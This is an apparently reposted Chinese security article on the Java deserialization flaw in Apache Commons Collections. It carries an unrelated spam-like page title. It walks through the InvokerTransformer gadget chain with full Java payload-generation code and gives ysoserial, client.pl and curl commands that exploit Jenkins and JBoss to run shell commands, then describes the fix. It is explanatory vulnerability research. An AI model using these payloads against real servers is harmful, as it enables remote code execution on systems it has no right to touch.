服务器有十万(服务器10u)「10万的服务器」

  本文为悬镜安全实行室原创文章,如需转载,请标注作者以及泉源。

  原文链接地点:https://182.92.77.200:8101/2016/10/24/javafanxuliehua/

  2015年的1月28号,GabrielLawrence(@gebl)和ChrisFrohoff(@frohoff)在AppSecCali上给出了一个陈诉[3],陈诉中先容了Java反序列化弊端可以利用ApacheCommonsCollections这个常用的Java库来实现恣意代码实行。同年11月6日,FoxGloveSecurity安全团队的@breenmachine在一篇博客中[2]先容了怎样利用Java反序列化弊端,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些台甫鼎鼎的Java应用,实现长途代码实行。间隔弊端发布已经有了一年多的时间,仍旧有很多网站仍未修复弊端。

  1.弊端原理1.1Java序列化与反序列化

  简单的说,把对象转换为字节序列的过程称为对象的序列化。把字节序列规复为对象的过程称为对象的反序列化。

  Java序列化的目标是为了将某些对象存储到磁盘上,从而长期生存,比方最常见的是Web服务器中的Session对象,当有10万用户并发访问,就有大概出现10万个Session对象,内存大概吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把生存在硬盘中的对象还原到内存中。大概当两个进程在举行长途通讯时,相互可以发送各种范例的数据。无论是何种范例的数据,都会以二进制序列的情势在网络上传送。发送方必要把这个Java对象转换为字节序列,才华在网络上传送;吸取方则必要把字节序列再规复为Java对象。一个序列化与反序列化的典范场景如下:```importjava.io.FileInputStream;importjava.io.FileOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;publicclassdeserial{publicstaticvoidmain(Stringargs[])throwsException{Stringobj="helloworld!";

  //将序列化对象写入文件object.db中FileOutputStreamfos=newFileOutputStream("object.db");ObjectOutputStreamos=newObjectOutputStream(fos);os.writeObject(obj);os.close();//从文件object.db中读取数据FileInputStreamfis=newFileInputStream("object.db");ObjectInputStreamois=newObjectInputStream(fis);//通过反序列化规复对象objStringobj2=(String)ois.readObject();System.out.println(obj2);ois.close();}

  }```

  1.2Java反序列化弊端

  Java反序列化弊端的核心在于,由于Java中的类ObjectInputStream在反序列化时,没有对天生的对象的范例做限定。在反序列化的时间不必要指定原来的数据范例即可举行反序列化。如下代码仍可以实行:importjava.io.FileInputStream;importjava.io.FileOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;publicclassdeserial{publicstaticvoidmain(Stringargs[])throwsException{Stringobj="helloworld!";//将序列化对象写入文件object.db中FileOutputStreamfos=newFileOutputStream("object.db");ObjectOutputStreamos=newObjectOutputStream(fos);os.writeObject(obj);os.close();//从文件object.db中读取数据FileInputStreamfis=newFileInputStream("object.db");ObjectInputStreamois=newObjectInputStream(fis);//通过反序列化规复对象objObjectobj2=ois.readObject();System.out.println(obj2);ois.close();}}那么对用户输入,即不可信数据做了反序列化处理惩罚,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有大概带来恣意代码实行。

  反序列弊端由来已久,PHP和Python中也有同样的题目,而在Java中题目比力严峻的缘故起因是由于一些公用库,比方ApacheCommonsCollections中实现的一些类可以被反序列化用来实现恣意代码实行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化弊端可以或许得以利用,就是依靠了ApacheCommonsCollections。但是该弊端的根源并不在于公共库,而是在于Java没有对反序列化天生的对象的范例做限定。正如某些批评所说:

  1.3弊端利用原理

  该弊端的出现的根源在CommonsCollections组件中对于聚集的操纵存在可以举行反射调用的方法,而且该方法在相干对象反序列化时并未举行任何校验,新版本的修复方案对相干反射调用举行了限定。

  1.3.1InvokerTransformer.transform()实现程序实行

  题目函数重要出如今org.apache.commons.collections.Transformer,我们可以看到Transformer接口界说了一个方法。```publicinterfaceTransformer{

  /***Transformstheinputobject(leavingitunchanged)intosomeoutputobject.**@paraminputtheobjecttobetransformed,shouldbeleftunchanged*@returnatransformedobject*@throwsClassCastException(runtime)iftheinputisthewrongclass*@throwsIllegalArgumentException(runtime)iftheinputisinvalid*@throwsFunctorException(runtime)ifthetransformcannotbecompleted*/publicObjecttransform(Objectinput);

  }

  #160;#160;#160;#160;该接口的作用是给定一个Object举行transform变更后返回新的Object,我们看它的实现类:![]()#160;#160;#160;#160;此中接口的实现类InvokerTransformer的实现存在题目,我们看该类的transform函数代码实现:/***Transformstheinputtoresultbyinvokingamethodontheinput.**@paraminputtheinputobjecttotransform*@returnthetransformedresult,nullifnullinput*/publicObjecttransform(Objectinput){if(input==null){returnnull;}try{Classcls=input.getClass();Methodmethod=cls.getMethod(iMethodName,iParamTypes);returnmethod.invoke(input,iArgs);

  }catch(NoSuchMethodExceptionex){thrownewFunctorException("InvokerTransformer:Themethod'"+iMethodName+"'on'"+input.getClass()+"'doesnotexist");}catch(IllegalAccessExceptionex){thrownewFunctorException("InvokerTransformer:Themethod'"+iMethodName+"'on'"+input.getClass()+"'cannotbeaccessed");}catch(InvocationTargetExceptionex){thrownewFunctorException("InvokerTransformer:Themethod'"+iMethodName+"'on'"+input.getClass()+"'threwanexception",ex);}

  }```发现它可以用反射的方法举行函数调用input对象的iMethodName函数,参数为iArgs。同时可以看到它的这三个参数都是在构造函数中设置的,均为可控参数。

  1.3.2TransformedMap.checkSetValue()-InvokerTransformer.transform()

  我们知道InvokerTransformer这个类的transformer函数可以用来实行恣意代码,我们必要找调用这个函数的位置。

  我们看到有很多类调用了这个函数,我们以TransformedMap为例子举行先容。1.3.3MapEntry.setValue()-TransformedMap.checkSetValue()

  我们看TransformedMap.checkSetValue()的函数界说如下:/***OverridetotransformthevaluewhenusingcodesetValue/code.**@paramvaluethevaluetotransform*@returnthetransformedvalue*@sinceCommonsCollections3.1*/protectedObjectcheckSetValue(Objectvalue){returnvalueTransformer.transform(value);}我们在eclipse中查察它TransformedMap.checkSetValue()的调用栈发现它被MapEntry.setValue()调用:```/***ImplementationofamapentrythatchecksadditionsviasetValue.*/staticclassMapEntryextendsAbstractMapEntryDecorator{

  /**Theparentmap*/privatefinalAbstractInputCheckedMapDecoratorparent;protectedMapEntry(Map.Entryentry,AbstractInputCheckedMapDecoratorparent){super(entry);this.parent=parent;}publicObjectsetValue(Objectvalue){value=parent.checkSetValue(value);returnentry.setValue(value);}

  }```在MapEntry.setValue()中对parent举行了checkSetValueAbstractInputCheckedMapDecorator范例的parent是在构造函数中举行设置的。

  TransformedMap是AbstractInputCheckedMapDecorator的一个子类,只要将parent设置为恶意的对象即可。

  如许假如我们在序列化TransformedMap时指定了恶意的InvokeTransformer那么在MapEntry实行setValue调用的时间,就会触发我们的InvokeTransformer中设置的恶意代码。比方以下例子:```importjava.util.HashMap;importjava.util.Map;importjava.util.Map.Entry;

  importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;publicclassdeserial{publicstaticvoidmain(String[]args)throwsException{Transformer[]transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc.exe"})};

  TransformertransformedChain=newChainedTransformer(transformers);MapinnerMap=newHashMap();innerMap.put("value","value");MapouterMap=TransformedMap.decorate(innerMap,null,transformedChain);Map.EntryonlyElement=(Entry)outerMap.entrySet().iterator().next();onlyElement.setValue("foobar");}

  }```

  1.3.4AnnotationInvocationHandler.readObject()-MapEntry.setValue()

  但是如今的构造还必要依靠于触发Map中某一项去调用setValue(),我们必要想办法通过readObject()直打仗发。我们观察到java运行库中有如许一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map范例,同时它在readObject中对每一项memberValue都调用了setValue,如下所示:

  我们可以看到在AnnotationInvocationHandler类的readObject函数中刚好有一个元素memberTypes,被调用了setValue()方法,因此只必要构造一个TransformedMap,将它的transformer设置为InvokeTransformer,然后将其用反射封装为一个AnnotationInvocationHandler类的对象。那么在反序列化在AnnotationInvocationHandler.readObject(xx)事就会触发弊端,必要留意,这里的触发的类为AnnotationInvocationHandler。天生Payload的一种方法如下:```importjava.io.File;importjava.io.FileOutputStream;importjava.io.ObjectOutputStream;importjava.lang.annotation.Target;importjava.lang.reflect.Constructor;importjava.util.HashMap;importjava.util.Map;

  importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;publicclassdeserial{publicstaticvoidmain(String[]args)throwsException{Transformer[]transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc.exe"})};

  TransformertransformedChain=newChainedTransformer(transformers);MapString,StringinnerMap=newHashMapString,String();innerMap.put("value","value");MapouterMap=TransformedMap.decorate(innerMap,null,transformedChain);Classcl=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructorctor=cl.getDeclaredConstructor(Class.class,Map.class);ctor.setAccessible(true);Objectinstance=ctor.newInstance(Target.class,outerMap);Filef=newFile("payload.bin");ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream(f));out.writeObject(instance);out.flush();out.close();}

  }```

  2.弊端利用实例

  针对java反序列化弊端,国外有黑客已经写了开源的弊端利用工具ysoserial,国内也有大神根据该工具制作了Jenkin的利用工具。

  2.1Jenkins1.514弊端利用

  起首拿到一个Java应用,必要找到一个担当外部输入的序列化对象的吸取点,即反序列化弊端的触发点。我们可以通过审计源码中对反序列化函数的调用(比方readObject())来探求,也可以直接通过对应用交互流量举行抓包,查察流量中是否包罗java序列化数据来判定,java序列化数据的特性为以标记(aced0005)开头。

服务器有十万(服务器10u) 服务器有十万(服务器10u)「10万的服务器」 行业资讯

  2.1.1查抄ClassPath

  确定了反序列化输入点后,再查察ClassPath是否有ApacheCommonsCollections库grep-R"InvokerTransformer"~/.jenkins

  2.1.2利用国内的弊端利用工具利用

  我们利用国内的某Jenkins弊端利用工具举行弊端利用。./client.pl--urlhttps://127.0.0.1:8080/--oslinux--cmd'{whoami;ls-lh;}/tmp/hacked'

  我们可以看到弊端利用乐成:2.1.3服务器日记

  对于低版本的Jenkins我们发如今触发弊端的时间,服务器报非常。

  对于最新版本的2.7.3的Jenkins则无法乐成。

  2.2Jboss6.0.0.Final攻击2.2.1天生payload

  利用ysoserial天生payload,如下:

  java-jarysoserial-0.0.4-all.jarCommonsCollections1'touch/tmp/hacked'payload.bin

  2.2.2用curl发送payload:

  curl--header'Content-Type:application/x-java-serialized-object;class=org.jboss.invocation.MarshalledValue'--data-binary'@payload.out'https://127.0.0.1:8080/invoker/JMXInvokerServlet

  可以看到/tmp/hacked被创建

  但是如今存在的题目是其他有的指令无法实行。3.弊端修复

  ApacheCommonsCollections在3.2.2中修复了弊端。对这些不安全的Java类的序列化支持增长了开关,默以为关闭状态。涉及的类包罗CloneTransformer,ForClosure,InstantiateFactory,InstantiateTransformer,InvokerTransformer,PrototypeCloneFactory,PrototypeSerializationFactory,WhileClosure。

服务器有十万(服务器10u) 服务器有十万(服务器10u)「10万的服务器」 行业资讯

  比方InvokerTransformer中,假如对该对象序列化,则会报非常。```/***OverridesthedefaultwriteObjectimplementationtoprevent*serialization(seeCOLLECTIONS-580).*/privatevoidwriteObject(ObjectOutputStreamos)throwsIOException{FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);os.defaultWriteObject();}

  /***OverridesthedefaultreadObjectimplementationtoprevent*de-serialization(seeCOLLECTIONS-580).*/privatevoidreadObject(ObjectInputStreamis)throwsClassNotFoundException,IOException{FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);is.defaultReadObject();}```

  参考资料

  [1]:https://github.com/frohoff/ysoserial/

  [2]:https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss

  [3]:https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles

客户评论

我要评论